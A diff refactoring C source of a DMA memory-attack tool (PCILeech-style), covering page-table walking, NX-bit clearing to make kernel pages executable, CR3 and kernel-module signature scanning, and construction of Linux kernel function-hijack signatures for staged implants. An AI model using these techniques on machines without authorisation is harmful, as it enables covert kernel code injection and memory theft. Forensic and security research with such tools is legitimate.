BOOL Util_PageTable_Helper(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwVA, _In_ QWORD qwPgLvl, _In_ QWORD qwPgTblPA, _In_ QWORD qwTestMask, _In_ QWORD qwTestValue, _In_ QWORD fMode, _Out_ PQWORD pqwPTE, _Out_opt_ PQWORD pqwPTEPA, _Out_ PQWORD pqwPgLvl)
|
||||
{
|
||||
BOOL result;
|
||||
BYTE pb[4096];
|
||||
QWORD idx, pte;
|
||||
result = DeviceReadMEM(pDeviceData, qwPgTblPA, pb, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
result = DeviceReadMEM(ctx, qwPgTblPA, pb, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
if(!result) { return FALSE; }
|
||||
idx = 0xff8 & ((qwVA >> (qwPgLvl * 9 + 3)) << 3);
|
||||
pte = *(PQWORD)(pb + idx);
|
||||
@@ -29,7 +29,7 @@ BOOL Util_PageTable_Helper(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In
|
||||
if((pte & qwTestMask) != qwTestValue) { return FALSE; }
|
||||
if((fMode & PT_FLAG_HELPER_X) && (pte & PT_MASK_NX)) {
|
||||
*(PQWORD)(pb + idx) &= 0x7fffffffffffffff;
|
||||
DeviceWriteMEM(pDeviceData, qwPgTblPA + idx, pb + idx, 8, 0);
|
||||
DeviceWriteMEM(ctx, qwPgTblPA + idx, pb + idx, 8, 0);
|
||||
}
|
||||
if((qwPgLvl == 1) || (pte & PT_MASK_PS)) {
|
||||
*pqwPgLvl = qwPgLvl;
|
||||
@@ -39,19 +39,19 @@ BOOL Util_PageTable_Helper(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In
|
||||
}
|
||||
qwPgTblPA = pte & 0x0000fffffffff000;
|
||||
if(!qwPgTblPA) { return FALSE; }
|
||||
return Util_PageTable_Helper(pCfg, pDeviceData, qwVA, qwPgLvl - 1, qwPgTblPA, qwTestMask, qwTestValue, fMode, pqwPTE, pqwPTEPA, pqwPgLvl);
|
||||
return Util_PageTable_Helper(ctx, qwVA, qwPgLvl - 1, qwPgTblPA, qwTestMask, qwTestValue, fMode, pqwPTE, pqwPTEPA, pqwPgLvl);
|
||||
}
|
||||
|
||||
BOOL Util_PageTable_ReadPTE(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwCR3, _In_ QWORD qwAddressLinear, _Out_ PQWORD pqwPTE, _Out_ PQWORD pqPTEAddrPhys)
|
||||
BOOL Util_PageTable_ReadPTE(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwCR3, _In_ QWORD qwAddressLinear, _Out_ PQWORD pqwPTE, _Out_ PQWORD pqPTEAddrPhys)
|
||||
{
|
||||
QWORD ptePgLvl;
|
||||
return Util_PageTable_Helper(pCfg, pDeviceData, qwAddressLinear, 4, qwCR3, PT_VALID_MASK, PT_VALID_VALUE, 0, pqwPTE, pqPTEAddrPhys, &ptePgLvl);
|
||||
return Util_PageTable_Helper(ctx, qwAddressLinear, 4, qwCR3, PT_VALID_MASK, PT_VALID_VALUE, 0, pqwPTE, pqPTEAddrPhys, &ptePgLvl);
|
||||
}
|
||||
|
||||
BOOL Util_PageTable_SetMode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwCR3, _In_ QWORD qwAddressLinear, _In_ BOOL fSetX)
|
||||
BOOL Util_PageTable_SetMode(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwCR3, _In_ QWORD qwAddressLinear, _In_ BOOL fSetX)
|
||||
{
|
||||
QWORD pte, pteVA, ptePgLvl;
|
||||
return Util_PageTable_Helper(pCfg, pDeviceData, qwAddressLinear, 4, qwCR3, 0, 0, PT_FLAG_HELPER_X, &pte, &pteVA, &ptePgLvl);
|
||||
return Util_PageTable_Helper(ctx, qwAddressLinear, 4, qwCR3, 0, 0, PT_FLAG_HELPER_X, &pte, &pteVA, &ptePgLvl);
|
||||
}
|
||||
|
||||
BOOL Util_PageTable_FindSignatureBase_IsPageTableDataValid(_In_ QWORD qwPageTableData)
|
||||
@@ -72,13 +72,13 @@ BOOL Util_PageTable_FindSignatureBase_IsPageTableDataValid(_In_ QWORD qwPageTabl
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL Util_PageTable_FindSignatureBase_CachedReadMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pbPage, _Inout_updates_bytes_(0x01000000) PBYTE pbCache)
|
||||
BOOL Util_PageTable_FindSignatureBase_CachedReadMEM(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pbPage, _Inout_updates_bytes_(0x01000000) PBYTE pbCache)
|
||||
{
|
||||
BOOL result;
|
||||
if(pbCache) {
|
||||
if(*(PQWORD)pbCache == 0) {
|
||||
*(PQWORD)pbCache = 2;
|
||||
result = DeviceReadMEM(pDeviceData, 0x00100000, pbCache + 0x00100000, 0x00F00000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
result = DeviceReadMEM(ctx, 0x00100000, pbCache + 0x00100000, 0x00F00000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
if(!result) { return FALSE; }
|
||||
*(PQWORD)pbCache = 1;
|
||||
}
|
||||
@@ -87,10 +87,10 @@ BOOL Util_PageTable_FindSignatureBase_CachedReadMEM(_In_ PDEVICE_DATA pDeviceDat
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
return DeviceReadMEM(pDeviceData, qwAddr, pbPage, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
return DeviceReadMEM(ctx, qwAddr, pbPage, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
}
|
||||
|
||||
BOOL Util_PageTable_FindSignatureBase_Search(_In_ PDEVICE_DATA pDeviceData, _Inout_ PBYTE pbCache, _In_ QWORD qwCR3, _In_ PSIGNATUREPTE pPTEs, _In_ QWORD cPTEs, _Out_ PQWORD pqwSignatureBase)
|
||||
BOOL Util_PageTable_FindSignatureBase_Search(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PBYTE pbCache, _In_ QWORD qwCR3, _In_ PSIGNATUREPTE pPTEs, _In_ QWORD cPTEs, _Out_ PQWORD pqwSignatureBase)
|
||||
{
|
||||
// win8 kernel modules start at even 1-page boundaries (0x1000)
|
||||
// win10 kernel modules start at even 16-page boundaries (0x10000)
|
||||
@@ -102,7 +102,7 @@ BOOL Util_PageTable_FindSignatureBase_Search(_In_ PDEVICE_DATA pDeviceData, _Ino
|
||||
QWORD cPTE = 0, cPTEPages = 0, PTE, qwA;
|
||||
QWORD qwPageTableData;
|
||||
WORD wSignature;
|
||||
result = Util_PageTable_FindSignatureBase_CachedReadMEM(pDeviceData, qwCR3 & 0x0000fffffffff000, (PBYTE)PML4, pbCache);
|
||||
result = Util_PageTable_FindSignatureBase_CachedReadMEM(ctx, qwCR3 & 0x0000fffffffff000, (PBYTE)PML4, pbCache);
|
||||
if(!result) { return FALSE; }
|
||||
qwA = 0x0fffff80000000000;
|
||||
while(qwA > 0x07fffffffffffffff) {
|
||||
@@ -114,7 +114,7 @@ BOOL Util_PageTable_FindSignatureBase_Search(_In_ PDEVICE_DATA pDeviceData, _Ino
|
||||
qwA &= 0xffffff8000000000;
|
||||
continue;
|
||||
}
|
||||
result = Util_PageTable_FindSignatureBase_CachedReadMEM(pDeviceData, qwPageTableData & 0x0000fffffffff000, (PBYTE)PDPT, pbCache);
|
||||
result = Util_PageTable_FindSignatureBase_CachedReadMEM(ctx, qwPageTableData & 0x0000fffffffff000, (PBYTE)PDPT, pbCache);
|
||||
if(!result) {
|
||||
qwA += 0x0000008000000000;
|
||||
qwA &= 0xffffff8000000000;
|
||||
@@ -131,7 +131,7 @@ BOOL Util_PageTable_FindSignatureBase_Search(_In_ PDEVICE_DATA pDeviceData, _Ino
|
||||
qwA &= 0xffffffffC0000000;
|
||||
continue;
|
||||
}
|
||||
result = Util_PageTable_FindSignatureBase_CachedReadMEM(pDeviceData, qwPageTableData & 0x0000fffffffff000, (PBYTE)PD, pbCache);
|
||||
result = Util_PageTable_FindSignatureBase_CachedReadMEM(ctx, qwPageTableData & 0x0000fffffffff000, (PBYTE)PD, pbCache);
|
||||
if(!result) {
|
||||
qwA += 0x0000000040000000;
|
||||
qwA &= 0xffffffffC0000000;
|
||||
@@ -147,7 +147,7 @@ BOOL Util_PageTable_FindSignatureBase_Search(_In_ PDEVICE_DATA pDeviceData, _Ino
|
||||
qwA &= 0xffffffffffE00000;
|
||||
continue;
|
||||
}
|
||||
result = Util_PageTable_FindSignatureBase_CachedReadMEM(pDeviceData, qwPageTableData & 0x0000fffffffff000, (PBYTE)PT, pbCache);
|
||||
result = Util_PageTable_FindSignatureBase_CachedReadMEM(ctx, qwPageTableData & 0x0000fffffffff000, (PBYTE)PT, pbCache);
|
||||
if(!result) {
|
||||
qwA += 0x0000000000200000;
|
||||
qwA &= 0xffffffffffE00000;
|
||||
@@ -182,35 +182,35 @@ BOOL Util_PageTable_FindSignatureBase_Search(_In_ PDEVICE_DATA pDeviceData, _Ino
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL Util_PageTable_WindowsHintPML4(_In_ PDEVICE_DATA pDeviceData, _Out_ PQWORD pqwCR3)
|
||||
BOOL Util_PageTable_WindowsHintPML4(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PQWORD pqwCR3)
|
||||
{
|
||||
BYTE pb[0x1000];
|
||||
return
|
||||
DeviceReadMEM(pDeviceData, 0x1000, pb, 0x1000, 0) &&
|
||||
DeviceReadMEM(ctx, 0x1000, pb, 0x1000, 0) &&
|
||||
((*(PQWORD)(pb + 0x78) & 0xfffffffffff00fff) == 0xffffffffffd00000) &&
|
||||
((*(PQWORD)(pb + 0xa0) & 0xffffffff00000fff) == 0) &&
|
||||
(*pqwCR3 = *(PQWORD)(pb + 0xa0));
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL Util_PageTable_FindSignatureBase(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Inout_ PQWORD pqwCR3, _In_ PSIGNATUREPTE pPTEs, _In_ QWORD cPTEs, _Out_ PQWORD pqwSignatureBase)
|
||||
BOOL Util_PageTable_FindSignatureBase(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PQWORD pqwCR3, _In_ PSIGNATUREPTE pPTEs, _In_ QWORD cPTEs, _Out_ PQWORD pqwSignatureBase)
|
||||
{
|
||||
BOOL result;
|
||||
QWORD qwRegCR3;
|
||||
PBYTE pbCache;
|
||||
// if page base (CR3) is specified -> use it.
|
||||
if(!pCfg->fPageTableScan) {
|
||||
return Util_PageTable_FindSignatureBase_Search(pDeviceData, NULL, *pqwCR3, pPTEs, cPTEs, pqwSignatureBase);
|
||||
if(!ctx->cfg->fPageTableScan) {
|
||||
return Util_PageTable_FindSignatureBase_Search(ctx, NULL, *pqwCR3, pPTEs, cPTEs, pqwSignatureBase);
|
||||
}
|
||||
// try CR3/PML4 hint at PA 0x1000 on windows 8.1/10.
|
||||
result =
|
||||
Util_PageTable_WindowsHintPML4(pDeviceData, pqwCR3) &&
|
||||
Util_PageTable_FindSignatureBase_Search(pDeviceData, NULL, *pqwCR3, pPTEs, cPTEs, pqwSignatureBase);
|
||||
Util_PageTable_WindowsHintPML4(ctx, pqwCR3) &&
|
||||
Util_PageTable_FindSignatureBase_Search(ctx, NULL, *pqwCR3, pPTEs, cPTEs, pqwSignatureBase);
|
||||
if(result) { return TRUE; }
|
||||
// page table scan guessing common CR3 base addresses.
|
||||
pbCache = LocalAlloc(LMEM_ZEROINIT, 0x01000000);
|
||||
for(qwRegCR3 = 0x100000; qwRegCR3 < 0x1000000; qwRegCR3 += 0x1000) {
|
||||
if(Util_PageTable_FindSignatureBase_Search(pDeviceData, pbCache, qwRegCR3, pPTEs, cPTEs, pqwSignatureBase)) {
|
||||
if(Util_PageTable_FindSignatureBase_Search(ctx, pbCache, qwRegCR3, pPTEs, cPTEs, pqwSignatureBase)) {
|
||||
*pqwCR3 = qwRegCR3;
|
||||
LocalFree(pbCache);
|
||||
return TRUE;
|
||||
@@ -220,15 +220,14 @@ BOOL Util_PageTable_FindSignatureBase(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDevi
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL Util_PageTable_FindMappedAddress(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwCR3, _In_ QWORD qwAddrPhys, _Out_ PQWORD pqwAddrVirt, _Out_opt_ PQWORD pqwPTE, _Out_opt_ PQWORD pqwPDE, _Out_opt_ PQWORD pqwPDPTE, _Out_opt_ PQWORD pqwPML4E)
|
||||
BOOL Util_PageTable_FindMappedAddress(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwCR3, _In_ QWORD qwAddrPhys, _Out_ PQWORD pqwAddrVirt, _Out_opt_ PQWORD pqwPTE, _Out_opt_ PQWORD pqwPDE, _Out_opt_ PQWORD pqwPDPTE, _Out_opt_ PQWORD pqwPML4E)
|
||||
{
|
||||
BOOL result, fFirstRun;
|
||||
QWORD PML4[512], PDPT[512], PD[512], PT[512];
|
||||
QWORD PML4_idx = 0xfff, PDPT_idx = 0xfff, PD_idx = 0xfff, PT_idx = 0xfff;
|
||||
QWORD qwA;
|
||||
QWORD qwPageTableData;
|
||||
UNREFERENCED_PARAMETER(pCfg);
|
||||
result = DeviceReadMEM(pDeviceData, qwCR3 & 0x0000fffffffff000, (PBYTE)PML4, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
result = DeviceReadMEM(ctx, qwCR3 & 0x0000fffffffff000, (PBYTE)PML4, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
if(!result) { return FALSE; }
|
||||
qwA = 0;
|
||||
fFirstRun = TRUE;
|
||||
@@ -244,7 +243,7 @@ BOOL Util_PageTable_FindMappedAddress(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDevi
|
||||
qwA = (qwA + 0x0000008000000000) & 0xffffff8000000000;
|
||||
continue;
|
||||
}
|
||||
result = DeviceReadMEM(pDeviceData, qwPageTableData & 0x0000fffffffff000, (PBYTE)PDPT, 0x1000, 0);
|
||||
result = DeviceReadMEM(ctx, qwPageTableData & 0x0000fffffffff000, (PBYTE)PDPT, 0x1000, 0);
|
||||
if(!result) {
|
||||
qwA = (qwA + 0x0000008000000000) & 0xffffff8000000000;
|
||||
continue;
|
||||
@@ -260,7 +259,7 @@ BOOL Util_PageTable_FindMappedAddress(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDevi
|
||||
qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000;
|
||||
continue;
|
||||
}
|
||||
result = DeviceReadMEM(pDeviceData, qwPageTableData & 0x0000fffffffff000, (PBYTE)PD, 0x1000, 0);
|
||||
result = DeviceReadMEM(ctx, qwPageTableData & 0x0000fffffffff000, (PBYTE)PD, 0x1000, 0);
|
||||
if(!result) {
|
||||
qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000;
|
||||
continue;
|
||||
@@ -283,7 +282,7 @@ BOOL Util_PageTable_FindMappedAddress(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDevi
|
||||
qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000;
|
||||
continue;
|
||||
}
|
||||
result = DeviceReadMEM(pDeviceData, qwPageTableData & 0x0000fffffffff000, (PBYTE)PT, 0x1000, 0);
|
||||
result = DeviceReadMEM(ctx, qwPageTableData & 0x0000fffffffff000, (PBYTE)PT, 0x1000, 0);
|
||||
if(!result) {
|
||||
qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000;
|
||||
continue;
|
||||
@@ -505,20 +504,21 @@ QWORD Util_GetNumeric(_In_ LPSTR sz)
|
||||
}
|
||||
}
|
||||
|
||||
VOID Util_CreateSignatureLinuxGenericPre48(_In_ DWORD paBase, _In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature)
|
||||
VOID Util_CreateSignatureLinuxGeneric(_In_ QWORD paBase,
|
||||
_In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms,
|
||||
_In_ DWORD paSzFnHijack, _In_ QWORD vaSzFnHijack, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature)
|
||||
{
|
||||
DWORD dwBase2M = (paSzKallsyms & ~0x1fffff) - ((vaSzKallsyms & ~0x1fffff) - (vaFnKallsyms & ~0x1fffff)); // symbol name base is not same as fn base
|
||||
DWORD dwBaseKallsyms2M = (paSzKallsyms & ~0x1fffff) - ((vaSzKallsyms & ~0x1fffff) - (vaFnKallsyms & ~0x1fffff)); // symbol name base is not same as fn base
|
||||
DWORD dwBaseFnHijack2M = (paSzFnHijack & ~0x1fffff) - ((vaSzFnHijack & ~0x1fffff) - (vaFnHijack & ~0x1fffff)); // symbol name base is not same as fn base
|
||||
memset(pSignature, 0, sizeof(SIGNATURE));
|
||||
Util_ParseHexFileBuiltin("DEFAULT_LINUX_X64_STAGE1", pSignature->chunk[2].pb, 4096, &pSignature->chunk[2].cb);
|
||||
Util_ParseHexFileBuiltin("DEFAULT_LINUX_X64_STAGE2", pSignature->chunk[3].pb, 4096, &pSignature->chunk[3].cb);
|
||||
Util_ParseHexFileBuiltin("DEFAULT_LINUX_X64_STAGE3", pSignature->chunk[4].pb, 4096, &pSignature->chunk[4].cb);
|
||||
pSignature->chunk[0].cbOffset = paBase + dwBase2M + (vaFnHijack & 0xffffff);
|
||||
pSignature->chunk[1].cbOffset = paBase + dwBase2M + 0xd00;
|
||||
pSignature->chunk[2].cbOffset = dwBase2M + (vaFnHijack & 0xffffff);
|
||||
pSignature->chunk[3].cbOffset = dwBase2M + 0xd00;
|
||||
pSignature->chunk[4].cbOffset = dwBase2M + (vaFnKallsyms & 0xffffff);
|
||||
pSignature->chunk[0].qwAddress = pSignature->chunk[0].cbOffset & ~0xfff;
|
||||
pSignature->chunk[1].qwAddress = pSignature->chunk[1].cbOffset & ~0xfff;
|
||||
pSignature->chunk[2].cbOffset = (DWORD)(dwBaseFnHijack2M + (vaFnHijack & 0x1fffff));
|
||||
pSignature->chunk[3].cbOffset = 0xd00;
|
||||
pSignature->chunk[4].cbOffset = (DWORD)(dwBaseKallsyms2M + (vaFnKallsyms & 0x1fffff));
|
||||
pSignature->chunk[0].qwAddress = paBase + dwBaseFnHijack2M + (vaFnHijack & 0x1ff000);
|
||||
pSignature->chunk[1].qwAddress = paBase;
|
||||
}
|
||||
|
||||
VOID Util_CreateSignatureFreeBSDGeneric(_In_ DWORD paStrTab, _In_ DWORD paFnHijack, _Out_ PSIGNATURE pSignature)
|
||||
@@ -574,20 +574,20 @@ VOID Util_CreateSignatureSearchAll(_In_ PBYTE pb, _In_ DWORD cb, _Out_ PSIGNATUR
|
||||
memcpy(pSignature->chunk[0].pb, pb, pSignature->chunk[0].cb);
|
||||
}
|
||||
|
||||
VOID Util_Read1M(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PBYTE pbBuffer1M, _In_ QWORD qwBaseAddress, _Inout_opt_ PPAGE_STATISTICS pPageStat)
|
||||
VOID Util_Read1M(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PBYTE pbBuffer1M, _In_ QWORD qwBaseAddress, _Inout_opt_ PPAGE_STATISTICS pPageStat)
|
||||
{
|
||||
QWORD o, p;
|
||||
// try read 1M in 128k chunks
|
||||
for(o = 0; o < 0x00100000; o += 0x00020000) {
|
||||
if((qwBaseAddress + o + 0x00020000 <= pCfg->qwAddrMax) && DeviceReadMEM(pDeviceData, qwBaseAddress + o, pbBuffer1M + o, 0x00020000, 0)) {
|
||||
if((qwBaseAddress + o + 0x00020000 <= ctx->cfg->qwAddrMax) && DeviceReadMEM(ctx, qwBaseAddress + o, pbBuffer1M + o, 0x00020000, 0)) {
|
||||
PageStatUpdate(pPageStat, qwBaseAddress + o + 0x00020000, 32, 0);
|
||||
} else {
|
||||
// try read 128k in 4k (page) chunks
|
||||
for(p = 0; p < 0x00020000; p += 0x1000) {
|
||||
if(!(qwBaseAddress + o + p + 0x1000 <= pCfg->qwAddrMax)) {
|
||||
if(!(qwBaseAddress + o + p + 0x1000 <= ctx->cfg->qwAddrMax)) {
|
||||
return;
|
||||
}
|
||||
if(DeviceReadMEM(pDeviceData, qwBaseAddress + o + p, pbBuffer1M + o + p, 0x1000, 0)) {
|
||||
if(DeviceReadMEM(ctx, qwBaseAddress + o + p, pbBuffer1M + o + p, 0x1000, 0)) {
|
||||
PageStatUpdate(pPageStat, qwBaseAddress + o + p + 0x1000, 1, 0);
|
||||
} else {
|
||||
PageStatUpdate(pPageStat, qwBaseAddress + o + p + 0x1000, 0, 1);
|
||||
@@ -597,12 +597,12 @@ VOID Util_Read1M(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PBYTE p
|
||||
}
|
||||
}
|
||||
|
||||
BOOL Util_Read16M(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PBYTE pbBuffer16M, _In_ QWORD qwBaseAddress, _Inout_opt_ PPAGE_STATISTICS pPageStat)
|
||||
BOOL Util_Read16M(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PBYTE pbBuffer16M, _In_ QWORD qwBaseAddress, _Inout_opt_ PPAGE_STATISTICS pPageStat)
|
||||
{
|
||||
BOOL isSuccess[4] = { FALSE, FALSE, FALSE, FALSE };
|
||||
QWORD i, o, qwOffset;
|
||||
// try read 16M
|
||||
if((qwBaseAddress + 0x01000000 <= pCfg->qwAddrMax) && DeviceReadMEM(pDeviceData, qwBaseAddress, pbBuffer16M, 0x01000000, 0)) {
|
||||
if((qwBaseAddress + 0x01000000 <= ctx->cfg->qwAddrMax) && DeviceReadMEM(ctx, qwBaseAddress, pbBuffer16M, 0x01000000, 0)) {
|
||||
PageStatUpdate(pPageStat, qwBaseAddress + 0x010000000, 4096, 0);
|
||||
return TRUE;
|
||||
}
|
||||
@@ -610,10 +610,10 @@ BOOL Util_Read16M(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PBYTE
|
||||
memset(pbBuffer16M, 0, 0x01000000);
|
||||
for(i = 0; i < 4; i++) {
|
||||
o = 0x00400000 * i;
|
||||
isSuccess[i] = (qwBaseAddress + o + 0x00400000 <= pCfg->qwAddrMax) && DeviceReadMEM(pDeviceData, qwBaseAddress + o, pbBuffer16M + o, 0x00400000, 0);
|
||||
isSuccess[i] = (qwBaseAddress + o + 0x00400000 <= ctx->cfg->qwAddrMax) && DeviceReadMEM(ctx, qwBaseAddress + o, pbBuffer16M + o, 0x00400000, 0);
|
||||
}
|
||||
// DMA mode + all memory inside scope + and all 4M reads fail + no force flag => fail
|
||||
if(!pCfg->fForceRW && !pDeviceData->KMDHandle && qwBaseAddress + 0x01000000 <= pCfg->qwAddrMax && !isSuccess[0] && !isSuccess[1] && !isSuccess[2] && !isSuccess[3]) {
|
||||
// DMA mode + all memory inside scope + and all 4M reads fail + no force flag + iosize >= 1MB => fail
|
||||
if(!ctx->cfg->fForceRW && !ctx->phKMD && (ctx->cfg->qwMaxSizeDmaIo >= 0x01000000) && qwBaseAddress + 0x01000000 <= ctx->cfg->qwAddrMax && !isSuccess[0] && !isSuccess[1] && !isSuccess[2] && !isSuccess[3]) {
|
||||
PageStatUpdate(pPageStat, qwBaseAddress + 0x010000000, 0, 4096);
|
||||
return FALSE;
|
||||
}
|
||||
@@ -624,33 +624,50 @@ BOOL Util_Read16M(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PBYTE
|
||||
} else {
|
||||
qwOffset = 0x00400000 * i;
|
||||
for(o = 0; o < 0x00400000; o += 0x00100000) {
|
||||
Util_Read1M(pCfg, pDeviceData, pbBuffer16M + qwOffset + o, qwBaseAddress + qwOffset + o, pPageStat);
|
||||
Util_Read1M(ctx, pbBuffer16M + qwOffset + o, qwBaseAddress + qwOffset + o, pPageStat);
|
||||
}
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID Util_WaitForPowerOn(_In_ PCONFIG pCfg, _Inout_ PDEVICE_DATA pDeviceData)
|
||||
VOID Util_WaitForPowerOn(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
BYTE pbDummy[4096];
|
||||
while(TRUE) {
|
||||
if(DeviceOpen(pCfg, pDeviceData)) {
|
||||
if(DeviceReadDMA(pDeviceData, 0x01000000, pbDummy, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
if(DeviceOpen(ctx)) {
|
||||
if(DeviceReadDMA(ctx, 0x01000000, pbDummy, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
break;
|
||||
}
|
||||
DeviceClose(pDeviceData);
|
||||
DeviceClose(ctx);
|
||||
}
|
||||
Sleep(100);
|
||||
}
|
||||
}
|
||||
|
||||
VOID Util_WaitForPowerCycle(_In_ PCONFIG pCfg, _Inout_ PDEVICE_DATA pDeviceData)
|
||||
VOID Util_WaitForPowerCycle(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
DeviceClose(pDeviceData);
|
||||
while(DeviceOpen(pCfg, pDeviceData)) {
|
||||
DeviceClose(pDeviceData);
|
||||
DeviceClose(ctx);
|
||||
while(DeviceOpen(ctx)) {
|
||||
DeviceClose(ctx);
|
||||
Sleep(100);
|
||||
}
|
||||
Util_WaitForPowerOn(pCfg, pDeviceData);
|
||||
Util_WaitForPowerOn(ctx);
|
||||
}
|
||||
|
||||
VOID Util_PrintHexAscii(_In_ PBYTE pb, _In_ DWORD cb)
|
||||
{
|
||||
PBYTE pbTextBuffer = NULL;
|
||||
DWORD cbTextBuffer;
|
||||
if(!cb) { return; }
|
||||
if(cb > 8192) {
|
||||
printf("Large output. Only displaying first 8192 bytes.\n");
|
||||
cb = 8192;
|
||||
}
|
||||
if(CryptBinaryToStringA(pb, cb, CRYPT_STRING_HEXASCIIADDR, NULL, &cbTextBuffer) &&
|
||||
(pbTextBuffer = (LPSTR)LocalAlloc(LMEM_ZEROINIT, cbTextBuffer)) &&
|
||||
CryptBinaryToStringA(pb, cb, CRYPT_STRING_HEXASCIIADDR, (LPSTR)pbTextBuffer, &cbTextBuffer)) {
|
||||
printf("%s\n", (LPSTR)pbTextBuffer);
|
||||
}
|
||||
if(pbTextBuffer) { LocalFree(pbTextBuffer); }
|
||||
}
|
||||
|
||||
@@ -10,46 +10,42 @@
|
||||
|
||||
/*
|
||||
* Retrieve a page table entry (PTE). (4kB pages only).
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
* -- qwCR3 = the contents of the CPU register CR3 (= physical address of PML4)
|
||||
* -- qwAddressLinear = the virtual address for which the PTE should be retrieved
|
||||
* -- pqwPTE = ptr to receive the PTE
|
||||
* -- pqwPTEAddrPhysOpt = ptr to receive the physical address of the PTE
|
||||
* -- return
|
||||
*/
|
||||
BOOL Util_PageTable_ReadPTE(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwCR3, _In_ QWORD qwAddressLinear, _Out_ PQWORD pqwPTE, _Out_ PQWORD pqwPTEAddrPhys);
|
||||
BOOL Util_PageTable_ReadPTE(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwCR3, _In_ QWORD qwAddressLinear, _Out_ PQWORD pqwPTE, _Out_ PQWORD pqwPTEAddrPhys);
|
||||
|
||||
/*
|
||||
* Change the mode of the mapped address to executable.
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
* -- qwCR3
|
||||
* -- qwAddressLinear
|
||||
* -- fSetX = TRUE if virtual address should be executable.
|
||||
* -- return
|
||||
*/
|
||||
BOOL Util_PageTable_SetMode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwCR3, _In_ QWORD qwAddressLinear, _In_ BOOL fSetX);
|
||||
BOOL Util_PageTable_SetMode(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwCR3, _In_ QWORD qwAddressLinear, _In_ BOOL fSetX);
|
||||
|
||||
/*
|
||||
* Find a module base given a page signature. Please note that this is a best
|
||||
* effort search. Multiple modules may have the same signature or parts of the
|
||||
* paging structures may be outside the 32-bit addressing scope >4GiB.
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
* -- pqwCR3 = the contents of the CPU register CR3 (= physical address of PML4) (may be zero on entry if page table base should be searched as well)
|
||||
* -- pPTEs = paging signature of the module to find
|
||||
* -- cPTEs = number of entries in pPTEs
|
||||
* -- pqwSignatureBase = ptr to receive the module base
|
||||
* -- return
|
||||
*/
|
||||
BOOL Util_PageTable_FindSignatureBase(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Inout_ PQWORD pqwCR3, _In_ PSIGNATUREPTE pPTEs, _In_ QWORD cPTEs, _Out_ PQWORD pqwSignatureBase);
|
||||
BOOL Util_PageTable_FindSignatureBase(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PQWORD pqwCR3, _In_ PSIGNATUREPTE pPTEs, _In_ QWORD cPTEs, _Out_ PQWORD pqwSignatureBase);
|
||||
|
||||
/*
|
||||
* Search the page tables for a given physical address. The first occurrence for
|
||||
